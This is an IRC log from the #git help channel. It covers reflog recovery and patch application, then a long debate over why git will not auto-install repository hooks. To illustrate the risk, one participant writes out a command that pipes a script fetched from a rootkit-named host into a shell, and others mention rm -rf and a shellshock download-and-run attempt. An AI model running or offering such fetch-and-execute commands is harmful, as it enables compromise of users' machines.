falstaff I try to create a patch with -M -B, but I can't apply it afterwards13:47
zumba_ad_ joined13:47
zumba_ad_ left13:47
joo-_ left13:47
falstaff what I did, I copied a file, (a to b), changed some lines in b, but also completely rewrote a.13:47
joo-_ joined13:47
intellix joined13:47
falstaff When I try to apply that, I get "error: path a has been renamed/deleted"13:48
git 2.1.213:48
justinmburrous joined13:48
zumba_addict left13:48
kukks joined13:48
kukks left13:48
kukks joined13:48
zumba_addict joined13:48
lsiv568 left13:48
joo-_ left13:48
iamjarvo joined13:49
jast what did you run to create/apply the patch?13:49
emrox left13:49
nettoweb left13:49
chelly joined13:49
joo-_ joined13:50
TeraJL osse: with --all it did not work and i get "WARNING: Ref 'refs/heads/master' is unchanged / WARNING: Ref 'refs/remotes/origin/master' is unchanged / WARNING: Ref 'refs/remotes/origin/master' is unchanged"13:50
dsdeiz joined13:50
osse TeraJL: that's because you've run it before, then.13:50
TeraJL: did you try the clone?13:50
bezet joined13:50
daedeloth joined13:51
zumba_addict left13:51
TeraJL osse: i've did it but it's the same13:52
osse then maybe those aren't the big files13:53
I don't know13:53
I'm out of ideas13:53
clauswitt left13:53
zumba_addict joined13:55
TeraJL osse: if the filter-branch rm ran well shouldn't the script from http://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/ stop showing those files?13:55
mustmodify I realize the logic behind this question is askew from the way git thinks about things... but can I ask git to show me all commits, regardless of branch, or even orphaned commits, that happened in the last ... say ... 48 hours?13:55
evildmp left13:55
KnightsOfNi left13:55
grawity mustmodify: `git reflog` (or `git log -g`) will be rather close13:55
Ankhers joined13:56
grawity mustmodify: it tracks everything that happened in your local repo13:56
AaronMT joined13:56
mustmodify grawity: thanks, I'll give it a shot.13:56
rath left13:56
osse TeraJL: after gc, yes13:56
StarManta joined13:56
osse and after removing refs/originals13:56
javster left13:57
mansion joined13:57
mscook_ left13:58
osse (assuming the script works)13:58
yosito joined13:58
msmith joined13:58
martinklepsch left13:59
rob_w left13:59
Neozonz|Disc joined13:59
Neozonz|Disc left13:59
Neozonz|Disc joined13:59
mansion left13:59
joo-_ left13:59
Cheaterman1 left13:59
jottr_ joined13:59
martinklepsch joined13:59
joo-_ joined14:00
lsiv568 joined14:00
martinklepsch left14:00
zumba_ad_ joined14:01
martinklepsch joined14:01
martinklepsch left14:01
zumba_addict left14:02
martinklepsch joined14:02
jontmorehouse joined14:02
zumba_ad_ left14:02
jagob left14:02
mustmodify grawity: Found my commit, thanks. Quick question. It says "6ff3a3e HEAD@{6}: commit" so it must still be there... but I don't see it in master which is where I thought I committed it. Is it likely under a different branch? If so, how can I find out which one?14:03
martinklepsch left14:04
mennea left14:05
mennea_ joined14:05
grawity the reflog doesn't just show things that are in a branch; it shows things that *have been* in a branch in the past14:05
martinklepsch joined14:05
grawity well, in this case HEAD, not any branch, but still14:05
RogerWS left14:05
grawity so you can either try `git branch --contains 6ff3a3e` to list branches with that commit14:05
martinklepsch left14:05
Junior left14:06
grawity or simply create a *new* branch at that commit, or something14:06
zumba_addict joined14:06
sLite joined14:06
jottr_ left14:06
oojacoboo joined14:06
staticshock_ joined14:07
jontmorehouse left14:07
msmith left14:07
ag4ve joined14:08
ehmatthes joined14:08
Guest46296 left14:08
Macaveli left14:08
martinklepsch joined14:08
alphonse23 joined14:09
evildmp joined14:09
ni__ joined14:09
MutSbeta joined14:09
crose joined14:09
Pyrogerg joined14:10
mahem1_ joined14:10
dort left14:11
Dougie187 joined14:11
oojacoboo left14:11
punchagan left14:11
davispuh joined14:11
lsiv568 left14:11
GinoMan joined14:11
shinnya joined14:12
sitology joined14:12
decompiled joined14:12
jubei joined14:12
jubei guys I did git reset but… hmm..I changed my mind ^_^14:12
xolubi left14:12
burhan_ joined14:12
jubei it wasn’t a hard reset14:12
robarelli joined14:13
jubei is there any way to go back?:)14:13
grawity `git reset` to the commit you wanted14:13
Manny left14:13
jubei grawity: the thing is that I can’t see that commit anymore in the git log14:13
nnyk_ left14:13
jubei because it’s a future commit14:13
grawity see `git reflog` for a history of where you've been, e.g. @{1} is the last one14:13
Manny joined14:13
iamjarvo left14:15
RogerWS joined14:15
yosito left14:15
jubei grawity: it’s not HEAD@{0} ?14:16
grawity: http://codepad.org/XlbaUK4214:16
that’s my reflog14:16
grawity well, do you see your wanted commit in it?14:16
or in `git reflog <branchname>` instead?14:16
jubei grawity: actually I do ^_^ lol14:16
grawity: thank you very much for the help14:16
grawity then just `git reset` to that commit14:16
nnyk_ joined14:17
xolubi joined14:17
Trudko left14:17
mustmodify grawity: Again, thanks so much. You were a lifesaver. Somehow that commit got orphaned.14:17
zivester left14:17
robarelli left14:17
jubei same here.14:17
jubei left14:17
emrox joined14:18
mustmodify left14:18
justinmburrous left14:19
moritzs left14:19
zhangxaochen__ left14:19
zhangxaochen__ joined14:20
zumba_addict left14:20
InvidFlower joined14:20
Mobutils left14:22
sandr8 left14:22
decompiled left14:24
dangerousdave left14:25
iamjarvo joined14:25
moritzs joined14:25
kikimeter joined14:26
Juzzika left14:26
kopparam left14:26
vtunka left14:27
kpease joined14:27
falstaff jast, git am14:28
snuffeluffegus left14:29
falstaff https://cloud.agner.ch/public.php?service=files&t=81779ef6e339bcdffbb149c436ad338114:29
this would be the patch14:29
punchagan joined14:29
falstaff Looking at that, it's clear that git am fails: first the patch states a rename, then it deletes lots of lines from the original file (which is already renamed at that point)...14:30
jnavila left14:31
netameta joined14:31
metRo_ joined14:32
falstaff jast, "git format-patch --signoff -M -B HEAD^^"14:32
StolenToast left14:32
falstaff jast, then "git apply 0001-ARM-dts-vf500-vf610-support-VF500-SoC.patch"14:32
s/apply/am14:33
P4_Denis joined14:33
msmith joined14:34
EminenceHC joined14:34
nettoweb joined14:34
mennea_ left14:34
nettoweb left14:34
cvanball left14:34
SumDude joined14:35
sword`` left14:35
mennea joined14:35
atomx left14:35
nettoweb joined14:35
sword`` joined14:35
StolenToast joined14:36
skylite left14:36
bollullera joined14:36
Marcus___ joined14:36
fabe joined14:37
xolubi left14:37
P4_Denis left14:37
nnyk_ left14:37
tranzfuse left14:37
kikimeter left14:37
Marcus_ left14:39
joo-_ left14:40
ecky--ptang-zoob joined14:40
BuenGenio joined14:41
skylite joined14:41
zumba_addict joined14:42
refried_ joined14:42
tranzfuse joined14:42
nekyian_ joined14:42
JohnBat26 left14:43
xolubi joined14:43
skylite left14:43
nnyk_ joined14:43
skylite joined14:44
Raging_Hog left14:45
lpapp joined14:45
acharlieh joined14:45
lpapp hi, what is the best way to run astyle for each commit? I created this pre-commit hook locally in .git/hooks, but I cannot commit it. Shall I create this on the server, or how can I make it so that other developers will get it automatically?14:46
punchagan left14:46
BuenGenio left14:46
_ikke_ lpapp: You can't. The only thing you can do is add it to the repo, and tell developers to put it in place14:46
offby1 lpapp: if your plan is to have git automatically format your code for you _before_ committing ... I don't think there's an easy way14:46
canton7 lpapp, there are some tools to help with committing hooks to a repo, and copying them out / setting them up14:47
but nothing built in, for obvious security reasons14:47
Jackneill joined14:48
awkwardusername left14:49
mihaicris joined14:49
lpapp that is a shame .... I consider it a missing feature.14:49
I would really love to solve it centrally in one place without all the developers needing to do extra work.14:50
canton7 lpapp, the problem is that were it in place, you could execute arbitary code on the machine of anyone who clones your repo14:50
which is kinda bad ;)14:50
bremner lpapp: best figure out the security issues before making a feature requiest14:50
lpapp canton7: why would it be bad in a closed environment with the source coming from me (trusted employee) ??14:51
(based on modulo agreement with regards to what to do)14:51
CheckDavid joined14:51
martinklepsch left14:51
canton7 lpapp, how does git know you're in a trusted environment?14:52
lpapp canton7: it should provide an option for me to tell.14:52
jceb left14:52
canton7 lpapp, https://github.com/icefox/git-hooks btw14:52
lpapp if anyone can break into a trusted environment which is not even on the internet, well, other than good luck with that, you would be able to cause much more havoc than ruining the git repository which has backup anyways.14:53
iamjarvo left14:53
nekyian_ left14:53
thedodd joined14:53
iamjarvo joined14:53
UmbraMalison joined14:53
lpapp on the contrary: announcing a simple hook for many employees followed by actions from *everyone* is truly time-wasting IMHO14:53
canton7: I read that.14:54
TomyWork left14:54
lpapp it did not mention any solution to the problem afaict.14:54
msankhala left14:54
canton7 it's just a third-party tool which helps ;)14:55
lpapp ah, sorry, scratch that, I thought it is the git-hooks manual page at first.14:55
I will read that, thanks, but do I really need a separate tool for this?14:55
canton7 did you even read it? ;)14:55
yes, you do :P14:55
search the !list if you want the discussions - it comes up from time to time14:55
gitinfo [!official] Some official resources for git. Homepage: http://git-scm.com/ | Source repo: https://www.kernel.org/pub/scm/git/git.git/ (Mirrrored: https://github.com/git/git/) | IRC channel: You're in it. | Mailing list: http://vger.kernel.org/vger-lists.html#git14:55
lpapp fwiw, I do have access to the server if that helps.14:55
bremner the clients are the issue, not the server14:55
lpapp so putting it onto the server into the right folder could be done by one scp command, but I am not sure if that helps, really ...14:56
osse put the hooks in a dir in the repo along with a script to run the commands needed to "install" them (typically ln -s ...). That's about as close as you get.14:56
jontmorehouse joined14:56
kukks left14:57
lpapp canton7: it is still extra work that cannot be spared. The developers will need to install this tool, etc.14:57
lacrymology joined14:57
canton7 it's true14:57
BSaboia joined14:57
canton7 just distribute a makefile/rakefile with your repo14:57
tell your devs to run 'make install-hooks'14:57
lpapp what I want is to really admin the git repo14:57
jiskiras joined14:57
canton7 boom. it's not ideal, but it's probably good enough14:57
jiskiras left14:57
canton7 anyway14:57
lpapp make an action after which no one can enter non-standard code into the repository.14:57
canton7 has a meeting14:57
lpapp and this would be automatically solved by running astyle. I think it is a fairly common usage (nearly every non-one-man project?)14:58
crose left14:58
jiskiras joined14:58
jiskiras left14:58
Pyrogerg left14:58
lpapp canton7: still extra work, really. I do extra work myself with that to still let them all do extra work14:58
rchavik left14:58
lpapp this is nice really a nice git repo management interface so.14:58
martinklepsch joined14:59
lpapp s/nice/not/14:59
canton7 raise it on the list if you want14:59
after reading the previous discussion there14:59
joelm joined14:59
lpapp well, the admin *should* be able to deem what is good or bad.14:59
pheaver joined14:59
lpapp in an ideal world, the admin should have full control over the repository setup.15:00
jiskiras joined15:00
jiskiras left15:00
lpapp with as small distraction for the developers as possible15:00
bremner that kind of control is very hard in a distributed setup15:00
lpapp canton7: care to link the previous discussion?15:00
svm_invictvs joined15:01
bremner people could always disable your hook.15:01
canton7 don't have it to hand15:01
jiskiras joined15:01
jiskiras left15:01
Gizburdt_ joined15:01
jontmorehouse left15:01
sinkensabe left15:01
Gizburdt_ left15:02
lpapp I wonder if other version control system had managed to solve this admin interface issue?15:02
osse lpapp: you can implement the style checker server-side and potentially reject pushes.15:03
jiskiras joined15:03
osse then each developer doesn't have to do anything15:03
roelmonnens left15:03
jiskiras left15:03
osse on the other hand they won't immediately know15:03
lpapp osse: I do not follow15:03
osse: if the change is rejected... how come will they not need to do extra work to get the change pushed?15:04
Silmarilion left15:04
lpapp I am confused ...15:04
jiskiras joined15:04
jiskiras left15:04
osse lpapp: they will need to do extra work to do a successful push. but they will not need to to extra work to install a hook, install astyle and so on.15:04
mennea left15:04
Gizburdt left15:04
stiffi joined15:05
lpapp osse: so what is the matter then?15:05
mennea joined15:05
lpapp osse: see, as the admin of the repository, I *want* to set the rules without distracting developers15:05
osse lpapp: that's up to you to decide. I merely made a suggestion.15:05
lpapp: yes, and as the admin, you can install a hook to run on the server15:06
joo-_ joined15:06
Emi23 joined15:06
osse lpapp: which won't distract the developers15:06
lpapp osse: which will not distract developers and will convert the changes to the repo style?15:06
so it will be all automatic?15:06
osse no15:06
lpapp ...15:06
osse ok, I understand what you mean now15:06
Emi23 left15:06
dort joined15:06
jiskiras joined15:07
lpapp ok, that is a step ahead ...15:07
jiskiras left15:07
osse joined15:07
lpapp if anyone knows the link where this use case was rejected, please link me.15:07
jiskiras joined15:07
jiskiras left15:07
Gamecubic joined15:08
lpapp at worst, this could be solved by a HUGE warning for the new script or so.15:08
jiskiras joined15:08
jiskiras left15:08
lpapp but that does not require manual intervention of stuff, just reading that can be announced that you would see it and move on ...15:08
ni__ left15:09
jargon left15:09
hstefan left15:09
Robarelli joined15:10
Dougie187 When using the syntax `git push origin +branch_name` is there something you can put in branch_name that says "The branch I'm currently on"?15:10
mkaesz joined15:10
Dougie187 kind of like HEAD, but I figured HEAD wouldn't be what I'm looking for.15:10
robzilla joined15:11
ni__ joined15:11
osse Dougie187: HEAD will work15:11
akiva joined15:11
Dougie187 Oh ok. I thought for some reason HEAD would overwrite HEAD in the remote. :P15:11
Ansikt_ joined15:12
Dougie187 but then `git push origin +HEAD` would be the equivalent of `git push origin -f` if push.default == current?15:12
osse Dougie187: that is reasonable to think. I tested it before answering you :P15:12
martinkl_ joined15:12
osse yup I should think so15:12
bremner lpapp: "git hook clone security" are keywords that get you started with your favourite search engine15:12
Dougie187 Heh, thanks. I could have tested it too, I just didn't want to mess anything up.15:12
should have just made a bare mirror and tested it I guess15:12
lpapp osse: cannot pre-receive rewrite the commit?15:12
to run astyle on it automatically?15:13
that would become server side then ...15:13
navs_ joined15:13
Ansikt_ Hi. If I accidentally branch off of the wrong branch, but don't notice until I make a bunch of commits, how do I switch the base branch to a different one?15:13
lpapp ah, but then the local would be in flux ...15:13
bremner lpapp: nabble is aweful, but here is a link http://git.661346.n2.nabble.com/Is-there-any-way-to-make-hooks-part-of-the-repository-td7518033.html15:13
BSaboia left15:13
BSaboia joined15:14
lpapp what I do not get is why git is so restrictive ...15:14
Ansikt_ For example if I am doing a change to stable, but accidentally branch off of experimental, do I have to throw away my commits and redo everything to prevent accidentally merging my feature branch into stable, or is there a way to change the base branch to stable?15:14
martinklepsch left15:14
lpapp I mean if you committed a pre-commit hook, and it is not trustworthy, some questions arise instantly:15:14
bremner lpapp: read the thread I linked. It talks exactly about your issue.15:14
dort left15:14
burhan_ left15:14
lpapp 1) How is it actually pre-commit specific? Any untrusted file would be an issue anyway.15:14
pheaver left15:14
lpapp 2) How would an untrusted person commit to the repository anyway?15:15
n-st joined15:15
Mobutils joined15:15
Ansikt_ (alternatively, could you direct me to an article about this sort of issue? I feel it's a common enough problem to have answers on google, but I wasn't sure what keywords to search.)15:15
lpapp so I do not get what security this would introduce at all, at least at this point. Please someone explain it if you can ...15:15
security risk*15:15
dort joined15:15
jiskiras joined15:15
jiskiras left15:16
burhan_ joined15:16
jiskiras joined15:16
jiskiras left15:17
xolubi left15:17
voidvoid joined15:17
voidvoid left15:17
osse lpapp: I don't know15:17
Dougie187: I just reset --hard HEAD~1 my own repo and tried to push :p15:18
ni__ left15:18
jiskiras joined15:18
Dougie187 osse: :P15:18
jiskiras left15:18
acolson left15:18
mkaesz left15:18
osse lpapp: the security risk people are talking about goes the other way. it's each developer's security that can be compromised, not the server's15:19
a_le joined15:19
mizu_no_oto left15:20
m0viefreak joined15:21
tristanp left15:21
StolenToast left15:21
iamjarvo left15:21
Zupoman joined15:22
Marcus___ left15:22
tristanp joined15:22
Zupoman left15:22
Zupoman joined15:22
justinmburrous joined15:22
kikimeter joined15:22
burhan__ joined15:23
burhan_ left15:23
vocifer__ left15:23
xolubi joined15:24
killtheliterate joined15:24
StolenToast joined15:25
dragoonis left15:26
aswen left15:27
mscook joined15:28
cbr_ left15:30
metRo_ left15:32
intellix left15:32
p4trix left15:32
Ansikt_ left15:32
nekyian_ joined15:32
mscook left15:33
robertodecurnex joined15:33
metRo_ joined15:33
lpapp osse: so you see the point behind this use case then?15:33
osse: I would like to make a client side hook available for each client15:34
nekyian_ left15:34
lpapp this cannot be done on server side15:34
mennea left15:34
mennea joined15:35
pasky hmm, given that I have a repo with .git/objects/info/alternates, is there a more elegant way to make it standalone (copy over all objects from alternates) than clone it?15:35
robertodecurnex left15:35
robertt joined15:35
intellix joined15:35
snuffeluffegus joined15:35
ehmatthes left15:36
robertt left15:36
osse lpapp: I totally see your point. It's just that with the current implementation/concept of hooks/triggers/whatever that Git has I don't think it's doable. But you can get some of the way.15:36
jas4711 left15:37
seschwar left15:37
dardevelin joined15:37
DARSCODE left15:38
marscher joined15:38
dardevelin is this channel user oriented only or internal questions for side projects is fine ?15:38
side projects that intend to re-use git internal components that is15:38
sinkensabe joined15:39
ojacobson joined15:39
lpapp osse: perhaps it is time to reconsider the hooks unless they are status by design.15:39
zhangxaochen__ left15:40
wise left15:40
robertt-dex joined15:40
lpapp I can get along with the current system in a limited fashion, so it will not block me, but it is still more work than it could be.15:40
JeanCarloMachado left15:40
ghostlines left15:40
canton7 are we still on this? lpapp pitch you case to the mailing list, with reference to how you would mitigate the issues identified in previous discussions15:41
*your15:41
zhangxaochen joined15:42
robertt-dex_robertt-dex15:42
lpapp canton7: If only I had time. I do not have time for long and detailed mailing list conversations.15:42
bremner it would take less time that you chatted on IRC today ;)15:42
canton7 well you've been making a good case for the last 45 mins on here. we can't change anything, we're (by and large) not devs15:43
intellix left15:43
canton7 if you'd spent the time talking to the list instead, you might be somewhere by now15:43
ChanServ set mode: +o15:44
_robertt-dex left15:44
robertt-dex joined15:44
osse has three commits in git.git!15:44
canton7 woop! :D15:44
lpapp canton7: well, this discussion was worth understanding the situation15:44
osse I'm a dev!! But all of them are trivial and one of them should be credited to Saveas15:44
lpapp but I do not have time for follow up emails on the mailing list, etc.15:44
especially since they will probably be detailed.15:44
canton7 from experience, often a single email is enough to trigger a discussion15:45
Eugene changed the topic to: Welcome to #git, the place for git help and Swedish bluegrass | Current stable version: 2.1.2 | Start here: http://jk.gs/git | Getting "cannot send to channel"? /msg gitinfo .voice | Hadn't been for merge-eyed Joe, Ida been commited long time ago15:45
Eugene set mode: -o15:45
canton7 that discussion is detailed, but you don't necessarily need to take part15:45
rh1n0 joined15:45
punchagan joined15:45
metRo_ left15:46
lpapp canton7: some consider it rude not to follow up with people who are trying to help.15:46
(me too)15:46
so I do not ask for help there instead.15:46
lb1a left15:46
rath joined15:47
_Vi left15:47
thiago_ joined15:47
tmug joined15:47
mennea left15:47
thiago_ left15:47
thiago_ joined15:47
hs366 joined15:47
UmbraMalison left15:48
lpapp canton7: osse thank you for your time15:48
canton7 no worries15:49
I'll try and dig out the old discussion, out of interest15:49
lacrymology left15:49
canton7 you're certainly not the first person who's felt that way15:49
bremner I _already_ did, I think.15:49
lpapp and probably not the last :D15:49
canton7 ooh cool, got a link?15:49
robertt-dexGuest5224215:50
bremner http://git.661346.n2.nabble.com/Is-there-any-way-to-make-hooks-part-of-the-repository-td7518033.html15:50
canton7 cheers15:50
Guest52242 left15:50
jontmorehouse joined15:50
robertt-dex_ joined15:51
robertt-dex_ left15:51
lsiv568 joined15:52
justinmburrous left15:52
killtheliterate left15:52
smccarthy joined15:53
xolubi left15:53
kermit left15:53
xolubi joined15:53
lsiv568_ joined15:53
lsiv568 left15:54
lpapp that thread does not make sense to me, but it might be just me15:54
polyzen joined15:54
lpapp what Junio says anyone can put rm -rf15:54
mostlybadfly joined15:54
lpapp if it is really _anyone_, your access model to the repository is truly screwed?15:54
killtheliterate joined15:55
bremner lpapp: yes, but not everyone lives in a closed world15:55
lpapp (which is basically my previous point above)15:55
Warrior-kk left15:55
canton7 you often clone repos from random people - the operation of cloning, at least, should be safe15:55
Eugene Consider the case of a malicious repo being cloned by unwitting users in the public15:55
lpapp and my second point applies exactly the same way: how is it different from any other file that can screw up?15:55
canton7 that point was raised in the thread15:55
ojacobson You have to make a second gesture _after_ obtaining the code to run any other file15:55
bremner because hooks are run by git.15:55
Eugene clone shouldn't auto-execute code, just grab it.15:55
That's the point15:55
lpapp canton7: yes, I see that my point was raised there, and completely agree with the guy about it.15:55
jontmorehouse left15:55
ojacobson Obtaining the code should not execute other peoples' code without giving the receiver a chance to review it, _even if all the intended collaborators are trustworthy_.15:56
Eugene It's not my fault if you run `curl http://rootkits.ru/hax | sh`15:56
canton7 so the conclusion was that you'd have to run a manual command to install hooks. there are edge-cases (rolling back for example, or updated hooks), and really that command is little different to some makefile/script15:56
lpapp canton7: cloning is no harm for pre-commit15:56
iamjarvo joined15:56
ojacobson Security models aren't perfect. People get disgruntled, keylogger'd, subverted; access control checks can have bugs; the underlying storage may be compromised instead ...15:56
UmbraMalison joined15:56
tristanp left15:56
canton7 lpapp, I think another assumption is that you cna safely use git after cloning a repo without causing harm to your machine15:56
jjasinski left15:56
lpapp ojacobson: that is a weak argument IMHO (sorry)15:57
canton7 so you can safely clone and then checkout a prev commit, without having to check whether anything malicious will happen15:57
lpapp ojacobson: if the access model is screwed, this will not save you15:57
vurma left15:57
lpapp the hacker can do other bad things without it, too.15:57
I just cannot see any security risk, honestly.15:57
desposo joined15:57
lpapp if you clone a total stranger repository to work with, that is overly strange ...15:58
canton7 lpapp, also, most repos I clone are from random strangers. yes, they can write a malicious app, and I have to check it's not before I run it. it can also be a documents repo, and I don't expect it to run anything malicious, because there shouldn't be anythng executable in there15:58
lpapp and again, not allowing pre-commit will not solve you anyway15:58
canton7 lpapp, as an open source developer, I do that *all* the time15:58
lpapp their build system might run rm -rf15:58
canton7 lpapp, and I can check the build system before running it, that's fine15:58
if git automatically installs hooks, I don't have a chance to check them15:58
lpapp I just honestly do not understand what the people refer to with additional security risk15:58
all the security risk is already right there today.15:58
SumDude left15:58
lpapp (for untrusted repositories)15:58
for trusted repositories, this is of course a no issue, so even easier for those.15:59
canton7 lpapp, again, I expect bad stuff to happen only if I actually execute something / run something15:59
ojacobson Right now, git will never run someone else's code for you unless you explicitly tell it that it's okay to do that.15:59
canton7 *NOT* if I just use git to read it15:59
ojacobson You are proposing that git may automatically run someone else's code unless you go out of your way to tell it _not_ to15:59
that's a huge security shift even for pre-commit15:59
thiago_ left15:59
lpapp ojacobson: not sure why you think pre-commit is executed on clone15:59
ojacobson It's not15:59
lpapp so what is the matter then?15:59
ojacobson but git clone ...; git commit ...; will not run someone else's code.15:59
You are proposing that it should, without warning.16:00
canton7 but I might want to make a small commit. I shouldn't have to remember that my 'git commit' command might be compromised16:00
lpapp ojacobson: exactly, that is what I would *love* to see happening!16:00
so why cannot we see that?16:00
ojacobson lpapp: I can see why you'd want that, and I can see why it'd be convenient16:00
unfortunately it'd also be convenient for malicious actors16:00
Gizburdt joined16:00
jjasinski joined16:00
ojacobson _as a default behaviour_, that's dangerously bad16:01
_as a non-default behaviour_, I'm dubious of encouraging people to turn that on16:01
teran joined16:01
canton7 I can get behind turning it on on a per-repo basis16:01
ojacobson because, as demonstrated, most people are terrible at thinking through whether a command may compromise their system _every time they run it_16:01
(I know I don't.)16:01
lpapp ojacobson: what happens if you put rm -rf into the buildsystem?16:01
ojacobson Turning auto-hooks on per-repo is easy enough: create a template repo that symlinks hooks to ../.githooks16:01
canton7 lpapp, I've addressed that twice already16:01
lpapp how will eliminating pre-commit solve that issue?16:01
ojacobson git clone --template ~/.git-templates/with-auto-hooks foo16:01
lpapp 1) You will need to clone a trusted repository16:02
canton7 lpapp, I expect the build system to do something nasty. I don't expect git to become compromised16:02
teran__ joined16:02
lpapp 2) You will need to check *the whole* content16:02
ojacobson lpapp: there are no trusted repositories16:02
lpapp that is my opinion about it16:02
you need to do either of those16:02
canton7 I should be safe as long as I don't go and run anything16:02
bollullera left16:02
lpapp eliminiating pre-commit will not do either of those automagically for you16:02
canton7 ^^ that is the *KEY* point imo16:02
Quevin joined16:02
zhangxaochen left16:02
lpapp ojacobson: surely, our repository not hanging on the internet is trusted16:02
teran_ left16:02
lpapp with only internal access, etc16:02
killtheliterate left16:02
mechanicalduck left16:03
canton7 lpapp, but git can't know that16:03
lpapp if that is not trusted, our company will be hacked tomorrow.16:03
canton7: it does not need to know16:03
why would it need to know?16:03
canton7 so you're saying because your repo is trusted, every random repo on the internets should be considered trusted? :S16:03
mechanicalduck joined16:03
SumDude joined16:03
lpapp in the worst case, you can have a "trusted repo" boolean on the server16:03
jenni_naiaretti left16:03
lpapp but I do not see the point of it, really16:03
canton7 so, it's up to the repo to say whether it's trusted16:03
hahaha16:03
hebz0rl joined16:03
lpapp I simply do not understand why git would be the security access model when the actual content is out of responsibility16:04
canton7 lpapp, put it this way16:04
lpapp git is not a security access module16:04
canton7 I should be safe to download a mailicious file from the internet, and open it in a text editor, right?16:04
that should be safe?16:04
the text editor should execute arbitrary parts of the file for me, unless I tell it to16:04
lsiv568_ left16:04
ngw left16:04
canton7 *should NOT16:05
Ariadeno joined16:05
dreiss joined16:05
lpapp I think Junio does not understand security16:05
canton7 can we agree on that?16:05
lpapp but that is just my opinion16:05
canton7 play along, please16:05
lpapp I have worked in security frameworks16:05
zhangxaochen joined16:05
canton7 do you agree that a text editor should not execute parts of the file you're opening, without being asked to?16:05
lpapp he is a great git maintainer, but IMHO, he is too biased here.16:06
teran left16:06
canton7 answer the question, damnit16:06
lpapp canton7: no, I do not agree.16:06
canton7 so you're saying if I download malicious-file.pl from the internet, I can't open it in notepad because it might be executed?16:07
thiago_ joined16:08
sebastian__ left16:09
canton7 (I did that earlier today - someone tried to shellshock my server, with a command to download and run a perl file. I was curious, and looked at it (it was a free irc bot, interestingly). I should be able to do that)16:09
lpapp canton7: no, I am not saying that at all.16:09
Zifre joined16:09
lpapp what I am saying is that if you are curious about the git content because it is not trusted, you need to read the code16:10
canton7 ok, so we are in agreement? "<lpapp> canton7: no, I do not agree." sounded the opposite16:10
lpapp if you trust the git source, there is nothing to be left.16:10
canton7 lpapp, sure. I hould be able to download a git repo and read it, without being worried that bad stuff will happen to my machine16:10
lpapp in neither case will the current design help at all IMHO16:10
canton7: no16:10
Sasazuka joined16:10
lpapp canton7: you can read it online, but anyway, pre-commit is not executed during the clone.16:10
canton7 lpapp, what if there isn't a web UI?16:11
beastd joined16:11
killtheliterate joined16:11
emrox left16:11
lpapp canton7: generate a tarball containing .git16:11
canton7 lpapp, what if archive isn't supported (and it rarely is)16:11
pheaver joined16:11
alorence left16:11
randallsquared joined16:11
lpapp but then again, if you are working with a pristine repository from the stone age, you still cannot say pre-commit is executed on clone.16:11
canton7 lpapp, no, but the extension to my argument is that *using git* should be safe. I should be safe using my editor, and I should be safe using git16:12
that includes making commits if I want16:12
I should have to remember "oh shit, I can't run 'git commit', because it might delete my documents"16:12
lpapp no16:12
canton7 *shouldn't16:12
lpapp if you cannot trust the git source, you need to check everything16:12
you cannot just mess around with it, really.16:12
JeanCarloMachado joined16:13
lpapp the same goes for the buildsystem16:13
you cannot just clone and run "make" because they say that is how their projects build16:13
tokik left16:13
jheg_ joined16:13
lpapp no to mention, I highly doubt you always check the buildsystem before running make when coming across a new project to build16:13
Manny left16:13
canton7 lpapp, sure, I agree with that. You can't run the stuff you cloned. Just like I shouln't run malicious-file.pl16:13
lpapp so it is kind of practice-free16:13
canton7 but I should be able to do stuff which doesn't involve running it16:13
lpapp but even in theory, you need to check the stuff before doing anything.16:13
Manny joined16:13
GinoMan left16:14
Zifre_ left16:14
mizu_no_oto joined16:14
canton7 lpapp, I need to check everything before running any executables / makefiles / whatever I fine in the project16:14
lpapp good, so check the git hooks, too16:14
canton7 but I should be able to use a freaking impartial tool to view it, modify it, etc16:14
lpapp why limit everyone else for a highly hypothetical case?16:14
canton7 because if we allow it, it won't be hypothetical any more ;16:14
* ;)16:14
lpapp for which you have already got a solution anyway16:14
roelmonnens joined16:14
canton7 lpapp, how are you going to tell users "as of git 2.2, git may now execute arbitary code if you clone a repo"16:15
lpapp so it is not hypothetical that rm -rf is Makefiles?16:15
canton7 users never read the freaking warnings16:15
imachuchu joined16:15
lpapp in*16:15
iliketurtles joined16:15
canton7 people know that running untrusted scripts can do bad stuff16:15
Gizburdt left16:15
lpapp but it will not!16:15
canton7 people are used to git, the tool, always being safe to use16:15
lpapp pre-commit is NOT executed on clone16:15
iamjarvo left16:15
lpapp if you want to do anything with, you should always do that16:15
canton7 lpapp, "as of git 2.2, git may now execute arbitary code if you use git inside a repo"16:15
jottr_ joined16:16
sdrfnord1 left16:16
nettoweb left16:16
lpapp in fact, they may have the build system create the hooks for git16:16
you need to check the source code entirely16:16
there is no way around to it, if you do not trust something16:16
Gizburdt joined16:16
canton7 lpapp, yes, and that comes under "don't execute anything inside the repo if you don't trust it"16:16
and yes16:16
lpapp you simply cannot spare that.16:16
that includes EVERYTHING16:16
canton7 but I may not want to execute stuff. I might just want to read16:16
mizu_no_oto left16:16
lpapp or use the trusted repo16:16
canton7 like download the shellshock exploit earlier16:16
*downloading16:16
lpapp I really cannot see how eliminating extremely basic featuares will solve this issue16:16
maletor joined16:16
canton7 I wanted to look, not run. And I knew it was untrusted16:17
lpapp features* (for me anyway)16:17
canton7 anyone else: am I making sense? I don't seem to be able to get through, but it all seems to obvious...16:17
s/to/so/16:17
akagr joined16:17
mithenks left16:18
Gizburdt left16:18
King_Hual left16:18
dragoonis joined16:18
roelmonnens left16:18
King_Hual joined16:19
canton7 ok, one last try, then I give up: "a user should be able to run their text editor, file browser, git, svn, and any other tool in an untrusted repo without bad stuff happening. obviously nothing can save them if they run code from that repo, but using any tooling to edit the repo should be safe by default"16:19
psoo left16:19
stwalcher joined16:19
fairuz joined16:19
dragoonis left16:20
Pyrogerg joined16:20
InvidFlower left16:20
Gizburdt joined16:20
sinkensabe left16:21
Gizburdt left16:21
GinoMan joined16:21
mizu_no_oto joined16:21
in_deep_thought joined16:21
FunkyAss left16:21
justinmburrous joined16:22
iliketurtles left16:23
Stoob_ joined16:23
sandr8 joined16:23
FunkyAss joined16:24
netcarver joined16:24
iamjarvo joined16:25
deuti joined16:26
GinoMan left16:27
it0a joined16:27
lpapp canton7: and how will you do that if the repo ships a hook for your tool, like text editor?16:27
Kitt3n_Kitt3n16:27
canton7 huh?16:28
lpapp canton7: you will need to check the repository content bit-by-bit to introspect if you are that paranoid16:28
canton7 sorry, I don't unerstand the question16:28
do text editors have hooks?16:28
Novitsh_ left16:28
lpapp sure, they have config files and all that jazz16:28
canton7 none of the ones I have will automatically execute code because a particular file exists in the cwd16:28
